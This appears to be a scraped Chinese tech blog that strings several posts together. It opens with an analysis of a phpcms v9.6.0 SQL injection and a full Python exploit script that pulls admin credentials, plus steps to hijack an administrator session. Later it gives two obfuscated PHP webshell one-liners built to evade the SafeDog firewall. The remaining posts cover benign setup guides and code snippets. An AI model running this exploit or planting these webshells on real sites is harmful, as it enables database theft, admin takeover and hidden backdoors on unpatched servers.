phpcms_v9.6.0_sql注入与exp 渗透测试
phpcms_v9.6.0_sql注入分析
可疑的函数
localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src变量带上了safe_relace函数,现在我们跟入这个该死的过滤函数看看它到底在搞什么鬼....*/
2.过滤函数剖析和绕过
localhost/phpcms/libs/functions/global.func.php文件的63行开始可以看到此处将传入的%27和%2527都进行删除处理也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*这样我们就有办法了也就是传入%*27程序吃掉星号后%27就会被传入。*/
3.src变量到底去哪了
/*这里不做截图请回到第一步的截图查看,在241行代码src传入arr数组后在243行被json_encode函数加密为json格式后传入json_str数组,然后在244行代码又将json加密为cookie。在这里我做个大胆的假设src存在注入那么我们要传入参数:src=%*27 updatexml(1,concat(1,(user())),1)%23;那么我们传入的参数将会被json加密后最终成为了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然后就是cookie加密这里不做计算cookie加密值需要的同学自己echo,假设暂且到这,它的最终这些动作都被赋值为swfupload_json函数。到此src变量故事以及完结请看下一章。*/
down.php的decode成全了我
/*在localhost/phpcms/modules/content/down.php的第14行代码将a_k变量进行了decode操作这样子我们把刚刚在src进行加密的SQL传入a_k他就会进行解密还原回json,17行 将json字符串解析成变量 -> parse_str 以 & 区分,将字符串解析成3个变量最后传入SQL为:{“aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&”,”filename”:””};此处可以看到之前%*27的*没了因为已经被他妈的狗比安全函数吃了*。最后我们看在第26行代码将id传入SQL字段id既然这样那就OK了我们尝试还原。*/
phpcms_v9.6.0_sql注入还原
1.访问/index.php?m=wap&c=index&a=init&siteid=1获取一个cookie值传入该死的src那块操作否则会没有身份
2.把这个傻逼cookie的值复制下来以POST传入userid_flash变量访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要问我URL编码里面是什么东西我会告诉你那是SQL的Payload
3.上一步我们已经获取到了通过json在通过cookie加密的SQL了因为他返回的cookie就是已经加密的SQLPayload现在我们传入到a_k变量看看到底发生了什么?
网上这个文档传的很快
作者我也不知道是谁
大家都把版权改成自己的
我也是醉了
有知情人士可留言~给人家一个版权
下面是EXP:
import requests,sys,urllib url = sys.argv[1] print 'Phpcms v9.6.0 SQLi Exploit Code By Luan' sqli_prefix = '%*27an*d%20' sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))' sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om ' sqli_password2 = '_admin li*mit 0,1)x))' sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6' setp1 = url + '/index.php?m=wap&a=index&siteid=1' cookies = {} for c in requests.get(setp1).cookies: if c.name[-7:] == '_siteid': cookie_head = c.name[:6] cookies[cookie_head+'_userid'] = c.value cookies[c.name] = c.value print '[+] Get Cookie : ' + str(cookies) setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding for c in requests.get(setp2,cookies=cookies).cookies: if c.name[-9:] == '_att_json': sqli_payload = c.value print '[+] Get SQLi Payload : ' + sqli_payload setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload html = requests.get(setp3,cookies=cookies).content print '[+] Get SQLi Output : ' + html.split('luan$')[1] table_prefix = html[html.find('_download_data')-2:html.find( '_download_data')] print '[+] Get Table Prefix : ' + table_prefix setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding for c in requests.get(setp2,cookies=cookies).cookies: if c.name[-9:] == '_att_json': sqli_payload = c.value print '[+] Get SQLi Payload : ' + sqli_payload setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload html = requests.get(setp3,cookies=cookies).content print '[+] Get SQLi Output : ' + html.split('luan$')[1]
exp也是别人分享给我的
看起来作者应该是luan
测试地址:
122.9.16.209
成功截图:
不过呢,众所周知
phpcms的密文特别难解密
所以有个配合使用的方法
通过sql注入漏洞读取数据库信息
但是不能破解密码的情况下
可以绕过后台验证
phpcms数据库中表v9_session
保存着管理员登录的信息
而且字段sessionid保存着就是
已经登录管理后台的PHPSESSID
可以通过sql注入读取到这个值
并写入到自己的浏览器中。
直接访问后台地址:
/index.php?m=admin&c=index&a=public_menu_left
将数据库中的sessionid信息带入!
相关文章网上也有
最后,我还是觉得这个漏洞挺鸡肋的
至于哪里鸡肋请看官细细体会
还有几个更牛逼的漏洞也许
过几天就会有人放出来了
反正我不做第一个吃螃蟹的人了
怕被打死~
原文地址:https://zhuanlan.zhihu.com/p/26263513
PS:很多政府机关/事业单位都是phpcms,我批量检测里面有很多都中招了,赶紧升级吧!阿西吧...据说二月份就出来了...
小计一个正则匹配提取实例之从网页中提取所有域内链接 技术文章
比如某个网站包含如下的内容:
<select name="select7" class="textbox" style="width: 200px;" onchange="MM_jumpMenu('parent',this,0)"> <option selected="selected">---------〖校内机构〗---------</option> <option>————管理机构————</option> <option value="/dzbgs/">党政办公室</option> <option value="/xcb/">党委组织宣传部</option> <option value="/rsc/">人事处</option> <option value="/jwc/">教务处</option> <option value="/xsc/">学生处(党委学工部)</option> <option value="/zsxx/">招生办公室</option> <option value="/jyb/">就业指导办公室</option> <option value="/cwc/">财务处</option> <option value="/zcc/">资产管理处</option> <option value="/wsc/">国际合作交流处</option> <option value="/kyc/">科研处</option> <option value="/dds/">督导室</option> <option value="/zlpg/">质量监控与评估中心</option> <option value="/bwc/">保卫处(武装部、安全稳定办公室)</option> <option value="/hq/">后勤服务公司</option> <option>————教学机构————</option> <option value="/yyyyxy/">英语语院</option> <option value="/dfyyyxy/">东方语学院</option> <option value="/yayyxy/">西方语学院</option> <option value="/gjsxy/">国际商学院</option> <option value="/gjwhjlxy/">文学与新闻传播学院</option> <option value="/gsgl/">管理学院</option> <option value="/ysxy/">艺术学院</option> <option value="/yyxy/">音乐学院</option> <option value="/szjyb/">思想政治理论教研部</option> <option value="/tyb/">体育部</option> <option value="/jxjyxy/">继续教育学院</option> <option>————教辅机构————</option> <option value="/tsg/">图书馆</option> <option value="/net/">现代教育技术中心</option> <option>————教辅机构————</option> <option value="/gh/">工会</option> <option value="/tw/">团委</option> </select>
我们要提取你面的所有的内域的网址,就是value后面的值:"/tw/",手工不说,最为原始的方法,体力活我们要尽量少干,正则走起啊!
使用正则提取两个双引号之间的内容,正则表达式很简单:
/(.*)[A-Z-a-z]/
这样我们提取出来了,可是没有加上域名啊,如何是好?答案就是继续正则啊,骚男不要犹豫,对于网页内内容,没有正则提取不了的(先吹个牛逼-_-|hh ):
(.?^/)
直接批量替换每行的第一个斜杠为域名不就OK了,上图域名结尾少了个斜杠.别跳坑里了!效果如下,就好了,前前后不到一分钟搞定,收工,比我写这篇文章还快!
本来不想写的,这么久了没发文章,手痒痒,凑个数!仅当笔记.
http://www.xxxx.com/dzbgs/ http://www.xxxx.com/xcb/ http://www.xxxx.com/rsc/ http://www.xxxx.com/jwc/ http://www.xxxx.com/xsc/ http://www.xxxx.com/zsxx/ http://www.xxxx.com/jyb/ http://www.xxxx.com/cwc/ http://www.xxxx.com/zcc/ http://www.xxxx.com/wsc/ http://www.xxxx.com/kyc/ http://www.xxxx.com/dds/ http://www.xxxx.com/zlpg/ http://www.xxxx.com/bwc/ http://www.xxxx.com/hq/ http://www.xxxx.com/yyyyxy/ http://www.xxxx.com/dfyyyxy/ http://www.xxxx.com/yayyxy/ http://www.xxxx.com/gjsxy/ http://www.xxxx.com/gjwhjlxy/ http://www.xxxx.com/gsgl/ http://www.xxxx.com/ysxy/ http://www.xxxx.com/yyxy/ http://www.xxxx.com/szjyb/ http://www.xxxx.com/tyb/ http://www.xxxx.com/jxjyxy/ http://www.xxxx.com/tsg/ http://www.xxxx.com/net/ http://www.xxxx.com/gh/ http://www.xxxx.com/tw/
好了,牛逼吹完了,洗洗睡了.我们下回见,对于不懂得正则可以评论,我可以帮你试试哦!
PS: 牛逼的娃娃们不要乱搞,这是我测试项目的.谢谢!
Discuz 加密解密函数 authcode PHP
<?php /** * $string 明文或密文 * $operation 加密ENCODE或解密DECODE * $key 密钥 * $expiry 密钥有效期 */ function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙 // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。 // 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方 // 当此值为 0 时,则不产生随机密钥 $ckey_length = 4; // 密匙 // $GLOBALS['discuz_auth_key'] 这里可以根据自己的需要修改 $key = md5($key ? $key : $GLOBALS['discuz_auth_key']); // 密匙a会参与加解密 $keya = md5(substr($key, 0, 16)); // 密匙b会用来做数据完整性验证 $keyb = md5(substr($key, 16, 16)); // 密匙c用于变化生成的密文 $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; // 参与运算的密匙 $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性 // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确 $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); // 产生密匙簿 for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度 for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } // 核心加解密部分 for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; // 从密匙簿得出密匙进行异或,再转成字符 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { // substr($result, 0, 10) == 0 验证数据有效性 // substr($result, 0, 10) - time() > 0 验证数据有效性 // substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性 // 验证数据有效性,请看未加密明文的格式 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因 // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码 return $keyc.str_replace('=', '', base64_encode($result)); } } $a = "mrxn.net"; $b = authcode($a, "ENCODE", "abc123"); echo $b."<br/>"; echo authcode($b, "DECODE", "abc123"); ?>
运行效果如下:
4582HxrlipjHXFJ8fCB42AzZN6N0A/S07AFgev8swj1a6Qy/fxhuJFM
mrxn.net
注:因学习需要,转载挡笔记.文章来源于网络.
HP的$_SERVER['HTTP_HOST']获取服务器地址功能详解 PHP
uchome的index文件中的二级域名功能判断,使用了php的$_SERVER['HTTP_HOST'],开始对这个不是很了解,所以百度了一下,发现一篇帖子有点意思,转发过来做个记录。
在php中,我们一般通过$_SERVER['HTTP_HOST']来活得URL中网站的域名或者ip地址。
php手册中的解释如下:
“HTTP_HOST”
当前请求的 Host: 头信息的内容。
一般来说,这样子不会遇到什么问题,在一些常见的php框架中,如PFC3和FLEA也是基于该预定义变量。
然而最近在做的一个项目,程序移交到客户手里测试时,竟然发现程序的跳转总是会出错。
最后找出原因:$_SERVER['HTTP_HOST']在客户的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。
究其原因,是因为,客户的公司通过一台服务器连接至因特网,而我们的程序所在的服务器,是通过域名映射出来的,也就是中间有个“代理”的过程。因此$_SERVER['HTTP_HOST']在这样的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。
最后查了不少资料,在symfony框架里面,找到替代的实现方法:
将
$host = $_SERVER['HTTP_HOST'];
替换成:
$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
即可。
注:我刚好遇到这个问题,所以搜索找到了这篇文章,故转载以当作笔记.
原文地址:https://www.oschina.net/question/36370_14769
如何绕过安全狗waf这类的防护软件--PHP过狗一句话实例两枚+过狗详细分析讲解 渗透测试
00x01
目前大多数网站都存在类似安全狗,360主机卫士的防护软件,所以今天咱们来一波虐狗
00x02
下面是我整理的一些免杀的思路:
1.关键字替换
2.组合猜分
3.关键函数替换
4.加解密/编码/解码
5.可变变量
可变变量顾名思义,变量的变量
例:
$a='b';$b='hello world!';echo $$a;
00x03
一句话原型:
一句话原型可以分为以下两部分:
eval() ------> 函数部分
$_POST["ceshi"] ------> 传值部分
00x04
想要绕过安全狗,我们首先要想到它的过滤机制,我做了一番测试,直接放一句话原型上去,会被杀,然而注释掉传值部分就不会被杀,所以我们要混淆
传值部分,函数部分也混淆,让这类防护软件傻傻分不清,从而达到免杀的效果(欢迎各位老表小弟释放出你们的淫荡姿势-_-||)。
00x05
传值方式:
1.$_GET
2.$_POST
3.$_REQUEST
可能会用到的函数:
assert() eval() str_replace()
trim() ltrim() rtrim()
array() rand()
00x06
免杀系列:
//例1: <?php $c = 'w';$w = 'assert'; $a = array(/**/$_REQUEST["ceshi"],/**/$_GET["ceshi"],/**/$_POST["ceshi"],/**/$_FILE["ceshi"],/**/$_COOKIE["ceshi"]); foreach($a as $k => $v){ if($k==$_GET["a"]){//a=0 $$c($v); } } ?> //例2: <?php $a = str_replace('c','',trim('ssscacssss','s').ltrim('aaascc','a').rtrim('ccsbbbbb','b').trim('vvvvcecvvvvvv','v').trim('sssscrcssss','s').ltrim('aaaactc','a')); $b = array('ccc',/**/$_POST["w"],/**/$_REQUEST["w"]); foreach($b as $k => $v){ if($k == rand($_GET["a"],$_GET["b"])){//a=1&b=2 $a($v); } } ?>
下面配上过狗的截图,昨天新鲜出炉的,欢迎食用.(请点击图片浏览高清原图):
今天就写到这里,我们下次见!
error while loading shared libraries: libsodium.so.18: cannot open shared Linux
昨晚在部署环境编译pureFTP的时候,报错:
error while loading shared libraries: libsodium.so.18: cannot open shared
百度,Google一阵总算找到解决方法:
首先确认libsodium.so.18在你得系统里是否存在,直接一行命令就搞定:
cat /etc/ld.so.conf
include ld.so.conf.d/*.conf
/lib
/usr/lib
/usr/lib64
/usr/local/lib
或者是下面的find命令:
find / -name "libsodium.so.18" ,我的系统返回的是存在的,一般的系统都存在的....
/usr/lib/libsodium.so.18 ...那既然存在好报错,那就软连接到另一个 libsodium.so 上,具体命令如下:
ln -sf /usr/lib/libsodium.so /usr/lib/libsodium.so.18
最后一定要记得
ldconfig
注:参考链接--
http://www.jb51.net/LINUXjishu/268747.html
下面记录一下.使用acme.sh安装ssl证书时需要注意的,按照作者的步骤clone或者wget,curl且运行完脚本后,请reboot一下vps,
不然你执行acme.sh --可能会提示找不到命令,如果不重启,也可以,切换到acme.sh的安装目录,
cd /root/.acme.sh/ ,然后执行, ./acme.sh --参数 .推荐重启一下,方便.
如果在安装证书过程中出错,Verifying invalid这类的最好就换一种方式验证域名.作者那里有提到.
在安装证书前,域名切记不要被Google或者是火狐报毒...不然是不能通过的,不能颁发证书的.更多的使用方法去作者的github主页看,很详细.
利用chrome的console控制台自动刷新网页 杂七杂八
timeout=prompt("Set timeout "); current=location.href; if(timeout>0) setTimeout('reload()',1000*timeout); else location.replace(current); function reload(){ setTimeout('reload()',1000*timeout); fr4me='<frameset cols=\'*\'>\n<frame src=\''+current+'\'/>'; fr4me+='</frameset>'; with(document){write(fr4me);void(close())}; }
利用chrome的console控制台自动刷新网页,偶尔需要这个功能,不需要使用插件,太臃肿...
搭建 nginx + mysql + php-fpm 环境(CentOS 6) Linux
前言:这几天帮朋友部署一个项目,一开始为了方便,(我懒-_-|),使用一键lanmp脚本部署,结果项目测试的时候bug一大堆...,声明:这不是说这些一键脚本不好,客观的来说,这些脚本用来建站,普通的单纯的站,一般没问题的,也很方便,但是部署项目,如果对这个脚本不是特别了解,特别了解,特别了解!重要的是说三遍...千万不要用,老实的手动部署环境吧....于是本想写一篇的,但是发现有人写了...就转载过来,存着当笔记吧.
本文档介绍如何使用一台普通配置的云服务器ECS实例搭建LNMP平台的web环境。
- Linux:自由和开放源码的类UNIX操作系统。
- Nginx:轻量级网页服务器、反向代理服务器。
- MySQL:关系型数据库管理系统。
- PHP:主要适用于Web开发领域的一种脚本语言。
适用对象
适用于熟悉Linux操作系统,刚开始使用阿里云进行建站的个人用户。
基本流程
使用云服务器 ECS 搭建LNMP平台的操作步骤如下:
- 准备编译环境
- 安装nginx
- 安装mysql
- 安装php-fpm
- 测试访问
步骤一:准备编译环境
1、系统版本说明
# cat /etc/redhat-release CentOS release 6.5 (Final)
注:这是本文档实施时参考的系统版本。您的实际使用版本可能与此不同,下文中的nginx,mysql,及php版本,您也可以根据实际情况选择相应版本。
2、关闭SELINUX
修改配置文件,重启服务后永久生效。
# sed -i 's/SELINUX=.*/SELINUX=disabled/g' /etc/selinux/config
命令行设置立即生效。
# setenforce 0
3、安全组设置
在ECS安全组放行需访问的端口和访问白名单,下面的示例表示允许所有IP访问服务器的80端口。您可以根据实际情况放行允许访问的客户端IP。
步骤二:安装nginx
Nginx是一个小巧而高效的Linux下的Web服务器软件,是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,已经在一些俄罗斯的大型网站上运行多年,目前很多国内外的门户网站、行业网站也都在是使用Nginx,相当稳定。
1、下载源码包解压编译。
# wget http://nginx.org/download/nginx-1.10.2.tar.gz # tar xvf nginx-1.10.2.tar.gz -C /usr/local/src # yum groupinstall "Development too # yum -y install gcc wget gcc-c++ automake autoconf libtool libxml2-devel libxslt-devel perl-devel perl-ExtUtils-Embed pcre-devel openssl-devel # cd /usr/local/src/nginx-1.10.2 # ./configure \ --prefix=/usr/local/nginx \ --sbin-path=/usr/sbin/nginx \ --conf-path=/etc/nginx/nginx.conf \ --error-log-path=/var/log/nginx/error.log \ --http-log-path=/var/log/nginx/access.log \ --pid-path=/var/run/nginx.pid \ --lock-path=/var/run/nginx.lock \ --http-client-body-temp-path=/var/tmp/nginx/client \ --http-proxy-temp-path=/var/tmp/nginx/proxy \ --http-fastcgi-temp-path=/var/tmp/nginx/fcgi \ --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi \ --http-scgi-temp-path=/var/tmp/nginx/scgi \ --user=nginx \ --group=nginx \ --with-pcre \ --with-http_v2_module \ --with-http_ssl_module \ --with-http_realip_module \ --with-http_addition_module \ --with-http_sub_module \ --with-http_dav_module \ --with-http_flv_module \ --with-http_mp4_module \ --with-http_gunzip_module \ --with-http_gzip_static_module \ --with-http_random_index_module \ --with-http_secure_link_module \ --with-http_stub_status_module \ --with-http_auth_request_module \ --with-mail \ --with-mail_ssl_module \ --with-file-aio \ --with-ipv6 \ --with-http_v2_module \ --with-threads \ --with-stream \ --with-stream_ssl_module # make && make install # mkdir -pv /var/tmp/nginx/client2、添加SysV启动脚本。
# vim /etc/init.d/nginx #!/bin/sh # # nginx - this script starts and stops the nginx daemon # # chkconfig: - 85 15 # description: Nginx is an HTTP(S) server, HTTP(S) reverse \ # proxy and IMAP/POP3 proxy server # processname: nginx # config: /etc/nginx/nginx.conf # config: /etc/sysconfig/nginx # pidfile: /var/run/nginx.pid # Source function library. . /etc/rc.d/init.d/functions # Source networking configuration. . /etc/sysconfig/network # Check that networking is up. [ "$NETWORKING" = "no" ] && exit 0 nginx="/usr/sbin/nginx" prog=$(basename $nginx) NGINX_CONF_FILE="/etc/nginx/nginx.conf" [ -f /etc/sysconfig/nginx ] && . /etc/sysconfig/nginx lockfile=/var/lock/subsys/nginx start() { [ -x $nginx ] || exit 5 [ -f $NGINX_CONF_FILE ] || exit 6 echo -n $"Starting $prog: " daemon $nginx -c $NGINX_CONF_FILE retval=$? echo [ $retval -eq 0 ] && touch $lockfile return $retval } stop() { echo -n $"Stopping $prog: " killproc $prog -QUIT retval=$? echo [ $retval -eq 0 ] && rm -f $lockfile return $retval killall -9 nginx } restart() { configtest || return $? stop sleep 1 start } reload() { configtest || return $? echo -n $"Reloading $prog: " killproc $nginx -HUP RETVAL=$? echo } force_reload() { restart } configtest() { $nginx -t -c $NGINX_CONF_FILE } rh_status() { status $prog } rh_status_q() { rh_status >/dev/null 2>&1 } case "$1" in start) rh_status_q && exit 0 $1 ;; stop) rh_status_q || exit 0 $1 ;; restart|configtest) $1 ;; reload) rh_status_q || exit 7 $1 ;; force-reload) force_reload ;; status) rh_status ;; condrestart|try-restart) rh_status_q || exit 0 ;; *) echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload|configtest}" exit 2 esac3、赋予脚本执行权限。
# chmod +x /etc/init.d/nginx
4、添加至服务管理列表,设置开机自启。
# chkconfig --add nginx # chkconfig nginx on5、启动服务。
# service nginx start
6、浏览器访问可看到默认欢迎页面。
步骤三:安装mysql
1、准备编译环境。
# yum groupinstall "Server Platform Development" "Development tools" -y # yum install cmake -y2、准备mysql数据存放目录。
# mkdir /mnt/data # groupadd -r mysql # useradd -r -g mysql -s /sbin/nologin mysql # id mysql uid=497(mysql) gid=498(mysql) groups=498(mysql)3、更改数据目录属主属组。
# chown -R mysql:mysql /mnt/data
4、解压编译官网下载稳定版的源码包。
# tar xvf mysql-5.6.24.tar.gz -C /usr/local/src # cd /usr/local/src/mysql-5.6.24 # cmake . -DCMAKE_INSTALL_PREFIX=/usr/local/mysql \ -DMYSQL_DATADIR=/mnt/data \ -DSYSCONFDIR=/etc \ -DWITH_INNOBASE_STORAGE_ENGINE=1 \ -DWITH_ARCHIVE_STORAGE_ENGINE=1 \ -DWITH_BLACKHOLE_STORAGE_ENGINE=1 \ -DWITH_READLINE=1 \ -DWITH_SSL=system \ -DWITH_ZLIB=system \ -DWITH_LIBWRAP=0 \ -DMYSQL_TCP_PORT=3306 \ -DMYSQL_UNIX_ADDR=/tmp/mysql.sock \ -DDEFAULT_CHARSET=utf8 \ -DDEFAULT_COLLATION=utf8_general_ci # make && make install5、修改安装目录的属组为mysql。
# chown -R mysql:mysql /usr/local/mysql/
6、初始化数据库。
# /usr/local/mysql/scripts/mysql_install_db --user=mysql --datadir=/mnt/data/
注:在CentOS 6.5版操作系统的最小安装完成后,在/etc目录下会存在一个my.cnf,需要将此文件更名为其他的名字,如:/etc/my.cnf.bak,否则,该文件会干扰源码安装的MySQL的正确配置,造成无法启动。
7、拷贝配置文件和启动脚本。
# cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqld # chmod +x /etc/init.d/mysqld # cp support-files/my-default.cnf /etc/my.cnf8、设置开机自动启动。
# chkconfig mysqld on # chkconfig --add mysqld9、修改配置文件中的安装路径及数据目录存放路径。
# echo -e "basedir = /usr/local/mysql\ndatadir = /mnt/data\n" >> /etc/my.cnf
10、设置PATH环境变量。
# echo "export PATH=$PATH:/usr/local/mysql/bin" > /etc/profile.d/mysql.sh # source /etc/profile.d/mysql.sh11、启动服务。
# service mysqld start # mysql -h 127.0.0.1步骤四:安装php-fpm
Nginx本身不能处理PHP,作为web服务器,当它接收到请求后,不支持对外部程序的直接调用或者解析,必须通过FastCGI进行调用。如果是PHP请求,则交给PHP解释器处理,并把结果返回给客户端。PHP-FPM是支持解析php的一个FastCGI进程管理器。提供了更好管理PHP进程的方式,可以有效控制内存和进程、可以平滑重载PHP配置。
1、安装依赖包。
# yum groupinstall "X Software Development" # yum install libmcrypt libmcrypt-devel mhash mhash-devel libxml2 libxml2-devel bzip2 bzip2-devel2、解压官网下载的源码包,编译安装。
# tar xvf php-5.6.23.tar.bz2 -C /usr/local/src # cd /usr/local/src/php-5.6.23 # ./configure --prefix=/usr/local/php \ --with-config-file-scan-dir=/etc/php.d \ --with-config-file-path=/etc \ --with-mysql=/usr/local/mysql \ --with-mysqli=/usr/local/mysql/bin/mysql_config \ --enable-mbstring \ --with-freetype-dir \ --with-jpeg-dir \ --with-png-dir \ --with-zlib \ --with-libxml-dir=/usr \ --with-openssl \ -enable-xml \ --enable-sockets \ --enable-fpm \ --with-mcrypt \ --with-bz2 # make && make install3、添加php和php-fpm配置文件。
# cp /usr/local/src/php-5.6.23/php.ini-production /etc/php.ini # cd /usr/local/php/etc/ # cp php-fpm.conf.default php-fpm.conf # sed -i 's@;pid = run/php-fpm.pid@pid = /usr/local/php/var/run/php-fpm.pid@' php-fpm.conf4、添加php-fpm启动脚本。
# cp /usr/local/src/php-5.6.23/sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm # chmod +x /etc/init.d/php-fpm5、添加php-fpm至服务列表并设置开机自启。
# chkconfig --add php-fpm # chkconfig --list php-fpm # chkconfig php-fpm on6、启动服务。
# service php-fpm start
7、添加nginx对fastcgi的支持,首先备份默认的配置文件。
# cp /etc/nginx/nginx.conf /etc/nginx/nginx.confbak # cp /etc/nginx/nginx.conf.default /etc/nginx/nginx.conf编辑/etc/nginx/nginx.conf,在所支持的主页面格式中添加php格式的主页,类似如下:
location / { root /usr/local/nginx/html; index index.php index.html index.htm; }取消以下内容前面的注释:
location ~ \.php$ { root /usr/local/nginx/html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /usr/local/nginx/html/$fastcgi_script_name; include fastcgi_params; }重新载入nginx的配置文件。
# service nginx reload
在/usr/local/nginx/html/新建index.php的测试页面,内容如下。
# cat index.php <?php $conn=mysql_connect('127.0.0.1','root',''); if ($conn){ echo "LNMP platform connect to mysql is successful!"; }else{ echo "LNMP platform connect to mysql is failed!"; } phpinfo(); ?>
浏览器访问测试,如看到以下内容则表示LNMP平台构建完成。
原文地址:https://help.aliyun.com/document_detail/50700.html
几行代码轻松撸腾讯云的学生机 技术文章
前言
腾讯云学生机老早就有了,那时候学生认证下,代金卷发下来了。哪知道腾讯的学生机策略变了,每天12:00 200台机子限量抢购,恶心!
现在手中的阿里云和腾讯云对我来说不够用,找个以前同学借个号认证就行了。表示就差腾讯云没抢到。
一开始我听群里的基佬们说好抢啊,12点到了不用刷新网页就可以抢了。然而当天中午抢购的时候事实上不是他们说得那样...特么需要刷新一次网页才能抢,而且1S之内特么全没了??这尼玛怎么抢啊?各种暴走。
看我如何XXOO翻腾讯云的辣鸡抢购
可以看到鼠标放在[red]今日已抢完[/red]那里是一个禁用标志,那么ctrl+shift+I 在dev-tool里面可以很清楚看到如下代码:
<button type="button" hotrep="qcact.campus.getVoucherBtn" class="button J-gotoAuth" data-title="今日已抢完" disabled="disabled">今日已抢完</button>
我们只需要去除掉这段 :disabled="disabled" ,现在可以点击领取了,but ,
有弹窗,无非就是没到时间,没发抢购(抛出异常)。然后在Network窗口看见,有参数接收反馈,这意味并不需要手动刷新网页。只要写个定时函数就行了。
那么上面所说到的抛出异常,也就是那个弹窗,给隐藏,这样可以狂点那个按钮了,审查元素后,得知id="dialog-event-xxxxxxx"。右键hide即可。
控制台写如下代码:
var c=0; function iiong() { $(document).ready(function(){ $(".J-gotoAuth").trigger("click"); }); } setInterval("iiong()","500");这样,在11点58分钟开始运行这段代码,就等待抢到吧。。。。也不知道为毛要搞个抢购,要想真正的福利学生,直接让需要的学生在学校里面通过学校向你们申请,这不是更能验证身份么。。。真的是很蛋疼的抢购,大部分抢到的都是些‘假学生’,运营脑袋是不是有gain!
好了,今天就比比到这里,改日再来;
声明:禁止用此方法抢到的机器干违法乱纪的勾当,出事儿别找我。。。我不负责,我也负不起责,一天天都快烦死了。
详细解读jQuery CSS 操作 - scrollTop,scrollLeft,offsetLeft方法 代码人生
关于scrollTop,offsetTop,scrollLeft,offsetLeft用法介绍:
页可见区域宽: document.body.clientWidth; 网页可见区域高: document.body.clientHeight; 网页可见区域宽: document.body.offsetWidth (包括边线的宽); 网页可见区域高: document.body.offsetHeight (包括边线的宽); 网页正文全文宽: document.body.scrollWidth; 网页正文全文高: document.body.scrollHeight; 网页被卷去的高: document.body.scrollTop; 网页被卷去的左: document.body.scrollLeft; 网页正文部分上: window.screenTop; 网页正文部分左: window.screenLeft; 屏幕分辨率的高: window.screen.height; 屏幕分辨率的宽: window.screen.width; 屏幕可用工作区高度: window.screen.availHeight;
offsetTop, offsetLeft:只读属性。要确定的这两个属性的值,首先得确定元素的offsetParent。offsetParent指的是距该元素最近的position不为static的祖先元素,如果没有则指向body元素。确定了offsetParent,offsetLeft指的是元素左侧偏移offsetParent的距离,同理offsetTop指的是上侧偏移的距离。
offsetHeight, offsetWidth:只读属性。这两个属性返回的是元素的高度或宽度,包括元素的边框、内边距和滚动条。返回值是一个经过四舍五入的整数。如下图:
